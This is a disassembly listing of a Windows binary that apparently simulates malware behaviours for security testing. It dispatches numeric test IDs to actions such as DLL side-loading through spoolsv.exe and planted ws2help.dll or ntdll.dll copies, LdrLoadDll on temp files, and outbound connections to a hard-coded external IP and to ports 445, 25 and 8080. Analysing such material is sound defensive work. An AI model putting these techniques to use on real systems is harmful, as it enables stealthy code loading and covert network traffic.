cmp rax, 0xffffffffffffffff
jne 0x14000c3d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile_Failed.___d__n
call fcn.140001820
jmp case.default.0x14000d0ae
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
mov r8d, 0x1000002
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rdi, rax
test rax, rax
je 0x1400092b3
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
test rax, rax
jne 0x14000c449
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.MapViewOfFile_Failed.___d_
call fcn.140001820
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x780]
mov r8d, 0x208
call fcn.140013860
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x208
call fcn.140013860
xor r9d, r9d
lea rdx, [rbp + 0x780]
xor ecx, ecx
cmp dword [0x140056a60], 1
lea r8d, [r9 + 0x25]
je 0x14000c4ae
lea r8d, [r9 + 0x29]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je case.default.0x14000d0ae
lea r9, [rbp + 0x780]
mov edx, 0x104
lea r8, [0x14004f098]
lea rcx, [rbp + 0x360]
call fcn.140001a30
test eax, eax
js case.default.0x14000d0ae
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x360]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000c533
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004f0b8]
call fcn.140001820
jmp case.default.0x14000d0ae
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x270], eax
test eax, eax
je 0x140007a70
mov ecx, eax
call fcn.14001bda4
mov rsi, rax
test rax, rax
je 0x140007a70
mov r8d, dword [rbp + 0x270]
lea r9, [rbp + 0x270]
mov rdx, rax
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
je 0x14000c597
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ReadFile_Failed.___d__n
call fcn.140001820
mov rcx, rsi
call fcn.14001bd9c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x208
call fcn.140013860
xor edx, edx
lea rcx, [rbp + 0x20]
mov r8d, 0x208
call fcn.140013860
xor r9d, r9d
lea rdx, [rbp + 0x360]
xor ecx, ecx
cmp dword [0x140056a60], 1
lea r8d, [r9 + 0x25]
je 0x14000c5ef
lea r8d, [r9 + 0x29]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je case.default.0x14000d0ae
lea r9, [rbp + 0x360]
mov edx, 0x104
lea r8, [0x14004efa0]
lea rcx, [rbp + 0x20]
call fcn.140001a30
test eax, eax
js case.default.0x14000d0ae
lea rcx, [0x14004efc0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x14000d0ae
lea rdx, str.LdrLoadDll
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x780]
mov r8d, 0x208
call fcn.140013860
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x208
call fcn.140013860
lea rdx, [rbp + 0x570]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x103
ja case.default.0x14000d0ae
lea r9, [rbp + 0x570]
mov edx, 0x104
lea r8, str._sD47F.tmp
lea rcx, [rbp + 0x780]
call fcn.140001a30
test eax, eax
js case.default.0x14000d0ae
lea r8, [rbp]
mov qword [rbp], r14
mov edx, 0x104
lea rcx, [rbp + 0x780]
call fcn.140001a80
test eax, eax
js case.default.0x14000d0ae
mov rax, qword [rbp]
lea rcx, [rbp + 0x780]
mov word [rbp], ax
add ax, 2
mov word [rbp + 2], ax
lea rax, [rbp + 0x780]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x2c0], xmm0
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
je 0x14000c747
lea rdx, [rbp + 0x780]
lea rcx, str.CopyFile_failed._File:__s__n
call fcn.140001030
jmp case.default.0x14000d0ae
lea r9, [rbp + 0x270]
xor edx, edx
lea r8, [rbp + 0x2c0]
xor ecx, ecx
call rdi
test eax, eax
je 0x14000c76d
mov edx, eax
lea rcx, str.LdrLoadDll_failed.___x__n
call fcn.140001820
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, 1
je case.default.0x14000d0ae
lea rdx, [rbp + 0x780]
lea rcx, str.DeleteFile_failed._File:__s__n
call fcn.140001030
jmp case.default.0x14000d0ae
sub esi, 0x4001001
je 0x14000cb2b
sub esi, 1
je 0x14000cb01
cmp esi, 1
jne case.default.0x14000d0ae
test edi, 0xfffeffff
je 0x14000ca17
cmp edi, 0x40011003
je 0x14000c9ab
cmp edi, 0x40021003
je 0x14000c933
cmp edi, 0x40031003
jne 0x14000ca79
lea rcx, [0x14004f488]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f4b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f4d8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f500]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f528]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f550]
call fcn.1400014d0
lea rcx, [0x14004f578]
call fcn.1400014d0
lea rcx, [0x14004f5a0]
call fcn.1400014d0
lea rcx, [0x14004f5c8]
call fcn.1400014d0
lea rcx, [0x14004f5f0]
call fcn.1400014d0
lea rcx, [0x14004f618]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x14004f640]
mov qword [rbp + 0x280], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x14004f668]
mov qword [rbp + 0x288], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x14004f690]
mov qword [rbp + 0x290], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x14004f6b8]
mov qword [rbp + 0x298], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x2a0], rax
lea rdi, [rbp + 0x280]
lea r14d, [rsi + 4]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000c8e3
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rdi, 8
sub r14, 1
jne 0x14000c8d5
lea rcx, str.C:JYmultidll0.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYmultidll1.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYmultidll2.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYmultidll3.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYmultidll4.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004f338]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x14004f360]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [0x14004f388]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f3b0]
call fcn.1400014d0
mov edx, sendto
lea rcx, str.C:JY_spoolsv.exe__loadlib_C:JY_spooldll.dll
call fcn.140010310
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:JY_spooldll.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_spoolsv.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004f288]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004f2a8]
call fcn.1400014d0
lea rcx, [0x14004f2c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14000c9f1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, str.C:JY_ntdll.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LoadLibrary_failed.__d_n
call fcn.140001030
lea rcx, str.C:JY_ntdll.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004f178]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x14004f1a0]
lea rcx, str.C:windows_system32ws2help.dll
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [0x14004f1c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14000ca58
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000ca6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004f230]
call fcn.140001030
lea rcx, str.C:JYws2help.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp edi, 0x50070002
ja 0x14000ce3d
je 0x14000cdb3
cmp edi, 0x50030002
je 0x14000ccd0
cmp edi, 0x50040002
je 0x14000cbed
cmp edi, 0x50050002
je 0x14000cbe1
cmp edi, 0x50060002
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000cae0
inc eax
movabs r15, 0xffffffffffffff0
cmp eax, 0x3fffffff
jle 0x14000cb44
mov r12, r14
jmp 0x14000cb7b
test edi, edi
jne case.default.0x14000d0ae
lea edx, [rdi + 0x10]
lea rcx, [0x14004f160]
call fcn.140010310
mov ecx, 0x12c
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009d7f
test edi, edi
jne case.default.0x14000d0ae
lea rcx, str.c:jydummy.exe
call fcn.14001b9a0
jmp case.default.0x14000d0ae
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cb59
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r12, rax
lea rsi, [0x140091ac0]
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000cb82
inc edi
cmp edi, 0x3fffffff
jg 0x14000cbd0
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cbab
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov qword [rsp + 0x20], r12
lea r8, str._s__connect__s_445
jmp 0x14000d069
lea r8, str.http:___s:_s_test.txt
jmp 0x140005585
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000cc12
inc eax
movabs r15, 0xffffffffffffff0
cmp eax, 0x3fffffff
jle 0x14000cc33
mov r12, r14
jmp 0x14000cc6a
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cc48
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r12, rax
lea rsi, [0x140091ac0]
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000cc71
inc edi
cmp edi, 0x3fffffff
jg 0x14000ccbf
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cc9a
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov qword [rsp + 0x20], r12
lea r8, [0x14004f7c0]
jmp 0x14000d069
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000ccf5
inc eax
movabs r15, 0xffffffffffffff0
cmp eax, 0x3fffffff
jle 0x14000cd16
mov r12, r14
jmp 0x14000cd4d
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cd2b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r12, rax
lea rsi, [0x140091ac0]
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000cd54
inc edi
cmp edi, 0x3fffffff
jg 0x14000cda2
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cd7d
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov qword [rsp + 0x20], r12
lea r8, str._s__connect__s_25
jmp 0x14000d069
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
lea rsi, [0x140091ac0]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000cdd5
inc edi
cmp edi, 0x3fffffff
jg 0x14000ce2a
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000ce05
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
lea rax, [0x14004f820]
lea r8, [0x14004f830]
jmp 0x14000d064
cmp edi, 0x50090002
je 0x14000cfdf
cmp edi, 0x50100002
je 0x14000cef8
cmp edi, 0x50110002
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rsi, [0x140091ac0]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000ce90
inc edi
cmp edi, 0x3fffffff
jg 0x14000cee5
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000cec0
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
lea rax, str.8.8.8.8
lea r8, str._s__connect__s_60000
jmp 0x14000d064
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000cf20
inc eax
movabs r15, 0xffffffffffffff0
cmp eax, 0x3fffffff
jle 0x14000cf41
mov r12, r14
jmp 0x14000cf78
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cf56
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r12, rax
lea rsi, [0x140091ac0]
nop
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000cf80
inc edi
cmp edi, 0x3fffffff
jg 0x14000cfce
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000cfa9
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov qword [rsp + 0x20], r12
lea r8, str._s__connect__s_8080
jmp 0x14000d069
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
lea rsi, [0x140091ac0]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000d001
inc edi
cmp edi, 0x3fffffff
jg 0x14000d056
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000d031
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
lea rax, str.211.115.106.204
lea r8, str._s__connect__s_80
mov qword [rsp + 0x20], rax
mov r9, r14
lea rcx, [rbp + 0x570]
mov edx, 0x100
call fcn.140001920
lea rcx, [rbp + 0x570]
call fcn.14001b9a0
jmp case.default.0x14000d0ae
add esi, 0xfafffffd
cmp esi, 7
ja case.default.0x14000d0ae
lea rdx, [0x140000000]
mov eax, dword [rdx + rsi*4 + 0xe04c]
add rax, rdx
jmp rax
test edi, edi
jne case.default.0x14000d0ae
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000d0d0
inc eax
cmp eax, 0x3fffffff
jg 0x14000d120
lea r8d, [rax + rax]
cdqe
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000d0fe
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov rdx, r14
lea rcx, [rbp + 0x280]
call fcn.1400100b0
lea rdx, [0x14003a2c4]
lea rcx, [rbp + 0x2f0]
call fcn.1400100c0
lea rax, [rbp + 0x2f0]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x14000d150
mov esi, 2
lea rdx, [rbp + 0x570]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea r8d, [rsi + 0xf]
mov edx, esi
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d1a1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Error_nCall_to_socket_AF_INET__SOCK_DGRAM__IPPROTO_UDP___failed_with:_n_d_n
call fcn.140001820
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnlock
mov word [rbp], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rbp + 0x280]
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rbp + 0x280]
mov dword [rbp + 4], eax
lea rcx, [0x14004f910]
call fcn.140001820
cmp dword [rbp + 4], 0xffffffff
jne 0x14000d239
lea rcx, [0x14004f8a8]
call fcn.140001820
lea rcx, [rbp + 0x280]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14000d218
lea rdx, [rbp + 0x280]
lea rcx, [0x14004f920]
call fcn.140001820
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov rdx, qword [rax + 0x18]
lea rcx, [rbp + 4]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call fcn.140013a50
lea rcx, [0x14003a2d4]
call fcn.140001820
lea rcx, [0x14004f938]
call fcn.140001820
lea rax, [rbp]
mov dword [rsp + 0x28], SafeArrayAccessData
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, edi
lea rdx, [rbp + 0x2f0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x14000de7c
jmp 0x14000de3e
test edi, edi
jne case.default.0x14000d0ae
lea rcx, str.ipconfig__flushdns
call fcn.14001b9a0
lea rcx, str.nslookup_ahnlab.com_8.8.8.8
call fcn.14001b9a0
lea rcx, str.nslookup_daum.net
call fcn.14001b9a0
lea rcx, str.nslookup_naver.com
call fcn.14001b9a0
lea rcx, str.nslookup_google.com
call fcn.14001b9a0
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
mov ecx, 0x202
lea rdx, [rbp + 0x570]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000d2f4
mov edx, eax
lea rcx, [0x14004fa40]
call fcn.140001030
jmp case.default.0x14000d0ae
mov edx, 1
mov esi, 2
mov ecx, esi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d32c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fa88]
call fcn.140001030
jmp 0x14000de47
lea rcx, [0x14004fac8]
mov word [rbp], si
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0xea60
mov dword [rbp + 4], eax
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, sendto
lea rdx, [rbp]
mov rcx, rdi
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x14000d383
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fad8]
call fcn.140001030
mov rcx, rdi
jmp 0x14000de41
mov edx, 5
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x14000d3b2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fb18]
call fcn.140001030
mov rcx, rdi
jmp 0x14000de41
mov edx, 1
mov ecx, esi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d3e8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fb58]
call fcn.140001030
mov rcx, rdi
jmp 0x14000de41
mov r8d, sendto
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000d425
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fb98]
call fcn.140001030
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, rsi
jmp 0x14000de41
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, rdi
jmp 0x14000de41
test edi, edi
jne case.default.0x14000d0ae
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
nop
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000d450
inc eax
cmp eax, 0x3fffffff
jg 0x14000d4a0
lea r8d, [rax + rax]
cdqe
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000d47e
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov rdx, r14
lea rcx, [rbp + 0x280]
call fcn.1400100b0
lea rdx, [0x14003a2e4]
lea rcx, [rbp + 0x2f0]
call fcn.1400100c0
lea rax, [rbp + 0x2f0]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x14000d4d0
mov esi, 2
lea rdx, [rbp + 0x570]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rsi - 1]
mov ecx, esi
lea r8d, [rsi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d522
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fbf0]
call fcn.140001820
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov ecx, 0x1f90
mov word [rbp], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rbp + 0x280]
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rbp + 0x280]
mov dword [rbp + 4], eax
lea rcx, [0x14004fc40]
call fcn.140001820
cmp dword [rbp + 4], 0xffffffff
jne 0x14000d5ba
lea rcx, [0x14004fbd8]
call fcn.140001820
lea rcx, [rbp + 0x280]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14000d599
lea rdx, [rbp + 0x280]
lea rcx, [0x14004fc50]
call fcn.140001820
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov rdx, qword [rax + 0x18]
lea rcx, [rbp + 4]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call fcn.140013a50
lea rcx, [0x14003a2f4]
call fcn.140001820
mov r8d, sendto
lea rdx, [rbp]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000d5e3
lea rcx, [0x14004fc68]
call fcn.140001820
jmp case.default.0x14000d0ae
lea rcx, [0x14004fc78]
call fcn.140001820
lea rax, [rbp]
mov dword [rsp + 0x28], SafeArrayAccessData
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, edi
lea rdx, [rbp + 0x2f0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x14000de3e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fc90]
call fcn.140001820
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
mov ecx, 0x202
lea rdx, [rbp + 0x570]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000d669
mov edx, eax
lea rcx, [0x14004fd00]
call fcn.140001030
jmp case.default.0x14000d0ae
mov edx, 1
mov esi, 2
mov ecx, esi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d6a1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fd48]
call fcn.140001030
jmp 0x14000de47
lea rcx, [0x14004fd88]
mov word [rbp], si
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x8236
mov dword [rbp + 4], eax
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, sendto
lea rdx, [rbp]
mov rcx, rdi
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x14000d37b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004fd98]
call fcn.140001030
mov rcx, rdi
jmp 0x14000de41
test edi, edi
jne case.default.0x14000d0ae
mov ecx, 0x202
lea rdx, [rbp + 0x570]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000d72d
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__ld_n
call fcn.140001030
jmp case.default.0x14000d0ae
mov esi, 2
mov edx, esi
mov ecx, esi
lea r8d, [rsi + 0xf]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d762
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
